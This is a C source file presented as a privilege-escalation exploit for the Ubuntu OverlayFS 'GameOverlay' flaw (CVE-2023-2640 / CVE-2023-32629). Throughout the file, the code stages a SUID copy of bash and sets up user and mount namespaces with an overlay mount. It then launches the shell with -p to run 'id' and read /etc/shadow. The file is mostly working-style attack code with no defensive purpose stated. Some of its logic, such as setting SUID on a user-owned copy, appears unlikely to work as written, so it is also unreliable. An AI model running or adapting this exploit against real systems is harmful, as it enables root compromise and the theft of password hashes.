// CVE-2023-2640 / CVE-2023-32629 GameOverlay
// Reliable variant using unshare mount namespace
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <string.h>

int main() {
    // Set up directories
    system("rm -rf /tmp/ovl2");
    system("mkdir -p /tmp/ovl2/lower /tmp/ovl2/upper /tmp/ovl2/work /tmp/ovl2/mnt");
    
    // Copy bash to lower and set SUID
    system("cp /bin/bash /tmp/ovl2/lower/sh");
    system("chmod 4755 /tmp/ovl2/lower/sh");
    
    // Unshare into new mount + user namespace
    if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1) {
        perror("unshare");
        return 1;
    }
    
    // Make all mounts slave so we can mount new things
    // Actually, in a new mount namespace with CLONE_NEWNS, we need to
    // remount / as slave first
    mount("none", "/", NULL, MS_REC | MS_SLAVE, NULL);
    
    // Now try overlay mount - this is where GameOverlay kicks in
    // On vulnerable kernels, the overlay inherits SUID from lower
    // even inside the user namespace
    char opts[256];
    snprintf(opts, sizeof(opts),
        "lowerdir=/tmp/ovl2/lower,upperdir=/tmp/ovl2/upper,workdir=/tmp/ovl2/work");
    
    if (mount("overlay", "/tmp/ovl2/mnt", "overlay", 0, opts) == -1) {
        perror("mount overlay");
        return 1;
    }
    
    // Setuid bash from overlay
    printf("SUID binary at /tmp/ovl2/mnt/sh\n");
    system("ls -la /tmp/ovl2/mnt/sh");
    
    // Try to execute it
    system("id");
    execle("/tmp/ovl2/mnt/sh", "sh", "-p", "-c", "id; cat /etc/shadow | head -3", NULL, NULL);
    
    return 0;
}
